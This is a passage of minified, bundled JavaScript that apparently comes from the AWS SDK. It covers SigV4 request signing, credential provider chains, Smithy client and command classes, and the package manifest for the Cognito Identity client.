pS9(K))if(!dS9.call(A,z)&&z!==q)C21(A,z,{get:()=>K[z],enumerable:!(Y=US9(K,z))||Y.enumerable})}return A},iS9=(A)=>lS9(C21({},"__esModule",{value:!0}),A),Sg4={};cS9(Sg4,{escapeUri:()=>hg4,escapeUriPath:()=>rS9});bg4.exports=iS9(Sg4);var hg4=h26((A)=>encodeURIComponent(A).replace(/[!'()*]/g,nS9),"escapeUri"),nS9=h26((A)=>`%${A.charCodeAt(0).toString(16).toUpperCase()}`,"hexEncode"),rS9=h26((A)=>A.split("/").map(hg4).join("/"),"escapeUriPath")});var AF4=v((wVw,eg4)=>{var{defineProperty:S21,getOwnPropertyDescriptor:oS9,getOwnPropertyNames:aS9}=Object,sS9=Object.prototype.hasOwnProperty,z$=(A,K)=>S21(A,"name",{value:K,configurable:!0}),tS9=(A,K)=>{for(var q in K)S21(A,q,{get:K[q],enumerable:!0})},eS9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of aS9(K))if(!sS9.call(A,z)&&z!==q)S21(A,z,{get:()=>K[z],enumerable:!(Y=oS9(K,z))||Y.enumerable})}return A},Ah9=(A)=>eS9(S21({},"__esModule",{value:!0}),A),Fg4={};tS9(Fg4,{SignatureV4:()=>Lh9,clearCredentialCache:()=>Mh9,createScope:()=>y21,getCanonicalHeaders:()=>B26,getCanonicalQuery:()=>ng4,getPayloadHash:()=>I21,getSigningKey:()=>ig4,moveHeadersToQuery:()=>sg4,prepareRequest:()=>g26});eg4.exports=Ah9(Fg4);var ug4=Zg4(),b26=uSA(),Kh9="X-Amz-Algorithm",qh9="X-Amz-Credential",Qg4="X-Amz-Date",Yh9="X-Amz-SignedHeaders",zh9="X-Amz-Expires",Ug4="X-Amz-Signature",pg4="X-Amz-Security-Token",dg4="authorization",cg4=Qg4.toLowerCase(),wh9="date",Hh9=[dg4,cg4,wh9],Jh9=Ug4.toLowerCase(),u26="x-amz-content-sha256",Oh9=pg4.toLowerCase(),Xh9={authorization:!0,"cache-control":!0,connection:!0,expect:!0,from:!0,"keep-alive":!0,"max-forwards":!0,pragma:!0,referer:!0,te:!0,trailer:!0,"transfer-encoding":!0,upgrade:!0,"user-agent":!0,"x-amzn-trace-id":!0},$h9=/^proxy-/,_h9=/^sec-/,x26="AWS4-HMAC-SHA256",Gh9="AWS4-HMAC-SHA256-PAYLOAD",Zh9="UNSIGNED-PAYLOAD",Wh9=50,lg4="aws4_request",Dh9=604800,er=Ig4(),jh9=uSA(),d$A={},R21=[],y21=z$((A,K,q)=>`${A}/${K}/${q}/${lg4}`,"createScope"),ig4=z$(async(A,K,q,Y,z)=>{let w=await Bg4(A,K.secretAccessKey,K.accessKeyId),H=`${q}:${Y}:${z}:${(0,er.toHex)(w)}:${K.sessionToken}`;if(H in d$A)return d$A[H];R21.push(H);while(R21.length>Wh9)delete d$A[R21.shift()];let J=`AWS4${K.secretAccessKey}`;for(let O of[q,Y,z,lg4])J=await Bg4(A,J,O);return d$A[H]=J},"getSigningKey"),Mh9=z$(()=>{R21.length=0,Object.keys(d$A).forEach((A)=>{delete d$A[A]})},"clearCredentialCache"),Bg4=z$((A,K,q)=>{let Y=new A(K);return Y.update((0,jh9.toUint8Array)(q)),Y.digest()},"hmac"),B26=z$(({headers:A},K,q)=>{let Y={};for(let z of Object.keys(A).sort()){if(A[z]==null)continue;let w=z.toLowerCase();if(w in Xh9||(K==null?void 0:K.has(w))||$h9.test(w)||_h9.test(w)){if(!q||q&&!q.has(w))continue}Y[w]=A[z].trim().replace(/\s+/g," ")}return Y},"getCanonicalHeaders"),BSA=xg4(),ng4=z$(({query:A={}})=>{let K=[],q={};for(let Y of Object.keys(A).sort()){if(Y.toLowerCase()===Jh9)continue;K.push(Y);let z=A[Y];if(typeof z==="string")q[Y]=`${(0,BSA.escapeUri)(Y)}=${(0,BSA.escapeUri)(z)}`;else if(Array.isArray(z))q[Y]=z.slice(0).reduce((w,H)=>w.concat([`${(0,BSA.escapeUri)(Y)}=${(0,BSA.escapeUri)(H)}`]),[]).sort().join("&")}return K.map((Y)=>q[Y]).filter((Y)=>Y).join("&")},"getCanonicalQuery"),Ph9=R26(),Vh9=uSA(),I21=z$(async({headers:A,body:K},q)=>{for(let Y of Object.keys(A))if(Y.toLowerCase()===u26)return A[Y];if(K==null)return"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855";else if(typeof K==="string"||ArrayBuffer.isView(K)||(0,Ph9.isArrayBuffer)(K)){let Y=new q;return Y.update((0,Vh9.toUint8Array)(K)),(0,er.toHex)(await Y.digest())}return Zh9},"getPayloadHash"),mg4=uSA(),rg4=class{format(K){let q=[];for(let w of Object.keys(K)){let H=(0,mg4.fromUtf8)(w);q.push(Uint8Array.from([H.byteLength]),H,this.formatHeaderValue(K[w]))}let Y=new Uint8Array(q.reduce((w,H)=>w+H.byteLength,0)),z=0;for(let w of q)Y.set(w,z),z+=w.byteLength;return Y}formatHeaderValue(K){switch(K.type){case"boolean":return Uint8Array.from([K.value?0:1]);case"byte":return Uint8Array.from([2,K.value]);case"short":let q=new DataView(new ArrayBuffer(3));return q.setUint8(0,3),q.setInt16(1,K.value,!1),new Uint8Array(q.buffer);case"integer":let Y=new DataView(new ArrayBuffer(5));return Y.setUint8(0,4),Y.setInt32(1,K.value,!1),new Uint8Array(Y.buffer);case"long":let z=new Uint8Array(9);return z[0]=5,z.set(K.value.bytes,1),z;case"binary":let w=new DataView(new ArrayBuffer(3+K.value.byteLength));w.setUint8(0,6),w.setUint16(1,K.value.byteLength,!1);let H=new Uint8Array(w.buffer);return H.set(K.value,3),H;case"string":let J=(0,mg4.fromUtf8)(K.value),O=new DataView(new ArrayBuffer(3+J.byteLength));O.setUint8(0,7),O.setUint16(1,J.byteLength,!1);let X=new Uint8Array(O.buffer);return X.set(J,3),X;case"timestamp":let $=new Uint8Array(9);return $[0]=8,$.set(Th9.fromNumber(K.value.valueOf()).bytes,1),$;case"uuid":if(!Nh9.test(K.value))throw Error(`Invalid UUID received: ${K.value}`);let _=new Uint8Array(17);return _[0]=9,_.set((0,er.fromHex)(K.value.replace(/\-/g,"")),1),_}}};z$(rg4,"HeaderFormatter");var fh9=rg4,Nh9=/^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$/,og4=class A{constructor(K){if(this.bytes=K,K.byteLength!==8)throw Error("Int64 buffers must be exactly 8 bytes")}static fromNumber(K){if(K>9223372036854776000||K<-9223372036854776000)throw Error(`${K} is too large (or, if negative, too small) to represent as an Int64`);let q=new Uint8Array(8);for(let Y=7,z=Math.abs(Math.round(K));Y>-1&&z>0;Y--,z/=256)q[Y]=z;if(K<0)m26(q);return new A(q)}valueOf(){let K=this.bytes.slice(0),q=K[0]&128;if(q)m26(K);return parseInt((0,er.toHex)(K),16)*(q?-1:1)}toString(){return String(this.valueOf())}};z$(og4,"Int64");var Th9=og4;function m26(A){for(let K=0;K<8;K++)A[K]^=255;for(let K=7;K>-1;K--)if(A[K]++,A[K]!==0)break}z$(m26,"negate");var vh9=z$((A,K)=>{A=A.toLowerCase();for(let q of Object.keys(K))if(A===q.toLowerCase())return!0;return!1},"hasHeader"),ag4=z$(({headers:A,query:K,...q})=>({...q,headers:{...A},query:K?Eh9(K):void 0}),"cloneRequest"),Eh9=z$((A)=>Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{}),"cloneQuery"),sg4=z$((A,K={})=>{var q;let{headers:Y,query:z={}}=typeof A.clone==="function"?A.clone():ag4(A);for(let w of Object.keys(Y)){let H=w.toLowerCase();if(H.slice(0,6)==="x-amz-"&&!((q=K.unhoistableHeaders)==null?void 0:q.has(H)))z[w]=Y[w],delete Y[w]}return{...A,headers:Y,query:z}},"moveHeadersToQuery"),g26=z$((A)=>{A=typeof A.clone==="function"?A.clone():ag4(A);for(let K of Object.keys(A.headers))if(Hh9.indexOf(K.toLowerCase())>-1)delete A.headers[K];return A},"prepareRequest"),kh9=z$((A)=>Ch9(A).toISOString().replace(/\.\d{3}Z$/,"Z"),"iso8601"),Ch9=z$((A)=>{if(typeof A==="number")return new Date(A*1000);if(typeof A==="string"){if(Number(A))return new Date(Number(A)*1000);return new Date(A)}return A},"toDate"),tg4=class{constructor({applyChecksum:K,credentials:q,region:Y,service:z,sha256:w,uriEscapePath:H=!0}){this.headerFormatter=new fh9,this.service=z,this.sha256=w,this.uriEscapePath=H,this.applyChecksum=typeof K==="boolean"?K:!0,this.regionProvider=(0,ug4.normalizeProvider)(Y),this.credentialProvider=(0,ug4.normalizeProvider)(q)}async presign(K,q={}){let{signingDate:Y=new Date,expiresIn:z=3600,unsignableHeaders:w,unhoistableHeaders:H,signableHeaders:J,signingRegion:O,signingService:X}=q,$=await this.credentialProvider();this.validateResolvedCredentials($);let _=O??await this.regionProvider(),{longDate:G,shortDate:Z}=L21(Y);if(z>Dh9)return Promise.reject("Signature version 4 presigned URLs must have an expiration date less than one week in the future");let W=y21(Z,_,X??this.service),D=sg4(g26(K),{unhoistableHeaders:H});if($.sessionToken)D.query[pg4]=$.sessionToken;D.query[Kh9]=x26,D.query[qh9]=`${$.accessKeyId}/${W}`,D.query[Qg4]=G,D.query[zh9]=z.toString(10);let j=B26(D,w,J);return D.query[Yh9]=gg4(j),D.query[Ug4]=await this.getSignature(G,W,this.getSigningKey($,_,Z,X),this.createCanonicalRequest(D,j,await I21(K,this.sha256))),D}async sign(K,q){if(typeof K==="string")return this.signString(K,q);else if(K.headers&&K.payload)return this.signEvent(K,q);else if(K.message)return this.signMessage(K,q);else return this.signRequest(K,q)}async signEvent({headers:K,payload:q},{signingDate:Y=new Date,priorSignature:z,signingRegion:w,signingService:H}){let J=w??await this.regionProvider(),{shortDate:O,longDate:X}=L21(Y),$=y21(O,J,H??this.service),_=await I21({headers:{},body:q},this.sha256),G=new this.sha256;G.update(K);let Z=(0,er.toHex)(await G.digest()),W=[Gh9,X,$,z,Z,_].join(` `);return this.signString(W,{signingDate:Y,signingRegion:J,signingService:H})}async signMessage(K,{signingDate:q=new Date,signingRegion:Y,signingService:z}){return this.signEvent({headers:this.headerFormatter.format(K.message.headers),payload:K.message.body},{signingDate:q,signingRegion:Y,signingService:z,priorSignature:K.priorSignature}).then((H)=>{return{message:K.message,signature:H}})}async signString(K,{signingDate:q=new Date,signingRegion:Y,signingService:z}={}){let w=await this.credentialProvider();this.validateResolvedCredentials(w);let H=Y??await this.regionProvider(),{shortDate:J}=L21(q),O=new this.sha256(await this.getSigningKey(w,H,J,z));return O.update((0,b26.toUint8Array)(K)),(0,er.toHex)(await O.digest())}async signRequest(K,{signingDate:q=new Date,signableHeaders:Y,unsignableHeaders:z,signingRegion:w,signingService:H}={}){let J=await this.credentialProvider();this.validateResolvedCredentials(J);let O=w??await this.regionProvider(),X=g26(K),{longDate:$,shortDate:_}=L21(q),G=y21(_,O,H??this.service);if(X.headers[cg4]=$,J.sessionToken)X.headers[Oh9]=J.sessionToken;let Z=await I21(X,this.sha256);if(!vh9(u26,X.headers)&&this.applyChecksum)X.headers[u26]=Z;let W=B26(X,z,Y),D=await this.getSignature($,G,this.getSigningKey(J,O,_,H),this.createCanonicalRequest(X,W,Z));return X.headers[dg4]=`${x26} Credential=${J.accessKeyId}/${G}, SignedHeaders=${gg4(W)}, Signature=${D}`,X}createCanonicalRequest(K,q,Y){let z=Object.keys(q).sort();return`${K.method} ${this.getCanonicalPath(K)} ${ng4(K)} ${z.map((w)=>`${w}:${q[w]}`).join(` `)} ${z.join(";")} ${Y}`}async createStringToSign(K,q,Y){let z=new this.sha256;z.update((0,b26.toUint8Array)(Y));let w=await z.digest();return`${x26} ${K} ${q} ${(0,er.toHex)(w)}`}getCanonicalPath({path:K}){if(this.uriEscapePath){let q=[];for(let w of K.split("/")){if((w==null?void 0:w.length)===0)continue;if(w===".")continue;if(w==="..")q.pop();else q.push(w)}let Y=`${(K==null?void 0:K.startsWith("/"))?"/":""}${q.join("/")}${q.length>0&&(K==null?void 0:K.endsWith("/"))?"/":""}`;return(0,BSA.escapeUri)(Y).replace(/%2F/g,"/")}return K}async getSignature(K,q,Y,z){let w=await this.createStringToSign(K,q,z),H=new this.sha256(await Y);return H.update((0,b26.toUint8Array)(w)),(0,er.toHex)(await H.digest())}getSigningKey(K,q,Y,z){return ig4(this.sha256,K,Y,q,z||this.service)}validateResolvedCredentials(K){if(typeof K!=="object"||typeof K.accessKeyId!=="string"||typeof K.secretAccessKey!=="string")throw Error("Resolved credential object is not valid")}};z$(tg4,"SignatureV4");var Lh9=tg4,L21=z$((A)=>{let K=kh9(A).replace(/[\-:]/g,"");return{longDate:K,shortDate:K.slice(0,8)}},"formatDate"),gg4=z$((A)=>Object.keys(A).sort().join(";"),"getCanonicalHeaderList")});var qF4=v((KF4)=>{Object.defineProperty(KF4,"__esModule",{value:!0});KF4.propertyProviderChain=KF4.createCredentialChain=void 0;var Rh9=dX(),yh9=(...A)=>{let K=-1,Y=Object.assign(async(z)=>{let w=await KF4.propertyProviderChain(...A)(z);if(!w.expiration&&K!==-1)w.expiration=new Date(Date.now()+K);return w},{expireAfter(z){if(z<300000)throw Error("@aws-sdk/credential-providers - createCredentialChain(...).expireAfter(ms) may not be called with a duration lower than five minutes.");return K=z,Y}});return Y};KF4.createCredentialChain=yh9;var Ih9=(...A)=>async(K)=>{if(A.length===0)throw new Rh9.ProviderError("No providers in chain",{tryNextLink:!1});let q;for(let Y of A)try{return await Y(K)}catch(z){if(q=z,z?.tryNextLink)continue;throw z}throw q};KF4.propertyProviderChain=Ih9});var i26=v((mh9)=>{mh9.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(mh9.HttpAuthLocation||(mh9.HttpAuthLocation={}));mh9.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(mh9.HttpApiKeyAuthLocation||(mh9.HttpApiKeyAuthLocation={}));mh9.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(mh9.EndpointURLScheme||(mh9.EndpointURLScheme={}));mh9.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(mh9.AlgorithmId||(mh9.AlgorithmId={}));var hh9=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>mh9.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>mh9.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},bh9=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},xh9=(A)=>{return hh9(A)},uh9=(A)=>{return bh9(A)};mh9.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(mh9.FieldPosition||(mh9.FieldPosition={}));var Bh9="__smithy_context";mh9.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(mh9.IniSectionType||(mh9.IniSectionType={}));mh9.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(mh9.RequestHandlerProtocol||(mh9.RequestHandlerProtocol={}));mh9.SMITHY_CONTEXT_KEY=Bh9;mh9.getDefaultClientConfiguration=xh9;mh9.resolveDefaultRuntimeConfig=uh9});var gSA=v((l$A)=>{var wF4=Fb(),s26=VV(),r26=i26(),Uh9=DJ(),YF4=PV();class HF4{config;middlewareStack=wF4.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var n26="***SensitiveInformation***";function o26(A,K){if(K==null)return K;let q=Uh9.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return n26;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return n26}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return n26}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=o26(H,Y[w]);return z}return K}class t26{middlewareStack=wF4.constructStack();schema;static classBuilder(){return new JF4}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[r26.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class JF4{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends t26{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?o26.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?o26.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var ph9="***SensitiveInformation***",dh9=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class c$A extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return c$A.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===c$A)return c$A.isInstance(A);if(c$A.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var OF4=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},XF4=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=lh9(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw OF4(H,K)},ch9=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{XF4({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},lh9=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),ih9=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},zF4=!1,nh9=(A)=>{if(A&&!zF4&&parseInt(A.substring(1,A.indexOf(".")))<16)zF4=!0},rh9=(A)=>{let K=[];for(let q in r26.AlgorithmId){let Y=r26.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},oh9=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},ah9=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},sh9=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},$F4=(A)=>{return Object.assign(rh9(A),ah9(A))},th9=$F4,eh9=(A)=>{return Object.assign(oh9(A),sh9(A))},Ab9=(A)=>Array.isArray(A)?A:[A],_F4=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=_F4(A[q]);return A},Kb9=(A)=>{return A!=null};class GF4{trace(){}debug(){}info(){}warn(){}error(){}}function ZF4(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,zb9(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}WF4(Y,null,w,H)}return Y}var qb9=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},Yb9=(A,K)=>{let q={};for(let Y in K)WF4(q,A,K,Y);return q},zb9=(A,K,q)=>{return ZF4(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},WF4=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=wb9,O=Hb9,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},wb9=(A)=>A!=null,Hb9=(A)=>A,Jb9=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},Ob9=(A)=>A.toISOString().replace(".000Z","Z"),a26=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(a26);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=a26(A[q])}return K}return A};Object.defineProperty(l$A,"collectBody",{enumerable:!0,get:function(){return s26.collectBody}});Object.defineProperty(l$A,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return s26.extendedEncodeURIComponent}});Object.defineProperty(l$A,"resolvedPath",{enumerable:!0,get:function(){return s26.resolvedPath}});l$A.Client=HF4;l$A.Command=t26;l$A.NoOpLogger=GF4;l$A.SENSITIVE_STRING=ph9;l$A.ServiceException=c$A;l$A._json=a26;l$A.convertMap=qb9;l$A.createAggregatedClient=dh9;l$A.decorateServiceException=OF4;l$A.emitWarningIfUnsupportedVersion=nh9;l$A.getArrayIfSingleItem=Ab9;l$A.getDefaultClientConfiguration=th9;l$A.getDefaultExtensionConfiguration=$F4;l$A.getValueFromTextNode=_F4;l$A.isSerializableHeaderValue=Kb9;l$A.loadConfigsForDefaultMode=ih9;l$A.map=ZF4;l$A.resolveDefaultRuntimeConfig=eh9;l$A.serializeDateTime=Ob9;l$A.serializeFloat=Jb9;l$A.take=Yb9;l$A.throwDefaultError=XF4;l$A.withBaseException=ch9;Object.keys(YF4).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(l$A,A))Object.defineProperty(l$A,A,{enumerable:!0,get:function(){return YF4[A]}})})});var Az6=v((DF4)=>{Object.defineProperty(DF4,"__esModule",{value:!0});DF4.resolveHttpAuthSchemeConfig=DF4.defaultCognitoIdentityHttpAuthSchemeProvider=DF4.defaultCognitoIdentityHttpAuthSchemeParametersProvider=void 0;var hb9=aw(),e26=WD(),bb9=async(A,K,q)=>{return{operation:(0,e26.getSmithyContext)(K).operation,region:await(0,e26.normalizeProvider)(A.region)()||(()=>{throw Error("expected `region` to be configured for `aws.auth#sigv4`")})()}};DF4.defaultCognitoIdentityHttpAuthSchemeParametersProvider=bb9;function xb9(A){return{schemeId:"aws.auth#sigv4",signingProperties:{name:"cognito-identity",region:A.region},propertiesExtractor:(K,q)=>({signingProperties:{config:K,context:q}})}}function h21(A){return{schemeId:"smithy.api#noAuth"}}var ub9=(A)=>{let K=[];switch(A.operation){case"GetCredentialsForIdentity":{K.push(h21(A));break}case"GetId":{K.push(h21(A));break}case"GetOpenIdToken":{K.push(h21(A));break}case"UnlinkIdentity":{K.push(h21(A));break}default:K.push(xb9(A))}return K};DF4.defaultCognitoIdentityHttpAuthSchemeProvider=ub9;var Bb9=(A)=>{let K=(0,hb9.resolveAwsSdkSigV4Config)(A);return Object.assign(K,{authSchemePreference:(0,e26.normalizeProvider)(A.authSchemePreference??[])})};DF4.resolveHttpAuthSchemeConfig=Bb9});var MF4=v((_Vw,Fb9)=>{Fb9.exports={name:"@aws-sdk/client-cognito-identity",description:"AWS SDK for JavaScript Cognito Identity Client for Node.js, Browser and React Native",version:"3.936.0",scripts:{build:"concurrently 'yarn:build:cjs' 'yarn:build:es' 'yarn:build:types'","build:cjs":"node ../../scripts/compilation/inline client-cognito-identity","build:es":"tsc -p tsconfig.es.json","build:include:deps":"lerna run --scope $npm_package_name --include-dependencies build","build:types":"tsc -p tsconfig.types.json","build:types:downlevel":"downlevel-dts dist-types dist-types/ts3.4",clean:"rimraf ./dist-* && rimraf *.tsbuildinfo","extract:docs":"api-extractor run --local","generate:client":"node ../../scripts/generate-clients/single-service --solo cognito-identity","test:e2e":"yarn g:vitest run -c vitest.config.e2e.mts --mode development","test:e2e:watch":"yarn g:vitest watch -c vitest.config.e2e.mts"},main:"./dist-cjs/index.js",types:"./dist-types/index.d.ts",module:"./dist-es/index.js",sideEffects:!1,dependencies:{"@aws-crypto/sha256-browser":"5.2.0","@aws-crypto/sha256-js":"5.2.0","@aws-sdk/core":"3.936.0","@aws-sdk/credential-provider-node":"3.936.0","@aws-sdk/middleware-host-header":"3.936.0","@aws-sdk/middleware-logger":"3.936.0","@aws-sdk/middleware-recursion-detection":"3.936.0","@aws-sdk/middleware-user-agent":"3.936.0","@aws-sdk/region-config-resolver":"3.936.0","@aws-sdk/types":"3.936.0","@aws-sdk/util-endpoints":"3.936.0","@aws-sdk/util-user-agent-browser":"3.936.0","@aws-sdk/util-user-agent-node":"3.936.0","@smithy/config-resolver":"^4.4.3","@smithy/core":"^3.18.5","@smithy/fetch-http-handler":"^5.3.6","@smithy/hash-node":"^4.2.5","@smithy/invalid-dependency":"^4.2.5","@smithy/middleware-content-length":"^4.2.5","@smithy/middleware-endpoint":"^4.3.12","@smithy/middleware-retry":"^4.4.12","@smithy/middleware-serde":"^4.2.6","@smithy/middleware-stack":"^4.2.5","@smithy/node-config-provider":"^4.3.5","@smithy/node-http-handler":"^4.4.5","@smithy/protocol-http":"^5.3.5","@smithy/smithy-client":"^4.9.8","@smithy/types":"^4.9.0","@smithy/url-parser":"^4.2.5","@smithy/util-base64":"^4.3.0","@smithy/util-body-length-browser":"^4.2.0","@smithy/util-body-length-node":"^4.2.1","@smithy/util-defaults-mode-browser":"^4.3.11","@smithy/util-defaults-mode-node":"^4.2.14","@smithy/util-endpoints":"^3.2.5","@smithy/util-middleware":"^4.2.5","@smithy/util-retry":"^4.2.5","@smithy/util-utf8":"^4.2.0",tslib:"^2.6.2"},devDependencies:{"@aws-sdk/client-iam":"3.936.0","@tsconfig/node18":"18.2.4","@types/chai":"^4.2.11","@types/node":"^18.19.69",concurrently:"7.0.0","downlevel-dts":"0.10.1",rimraf:"3.0.2",typescript:"~5.8.3"},engines:{node:">=18.0.0"},typesVersions:{"<4.0":{"dist-types/*":["dist-types/ts3.4/*"]}},files:["dist-*/**"],author:{name:"AWS SDK for JavaScript 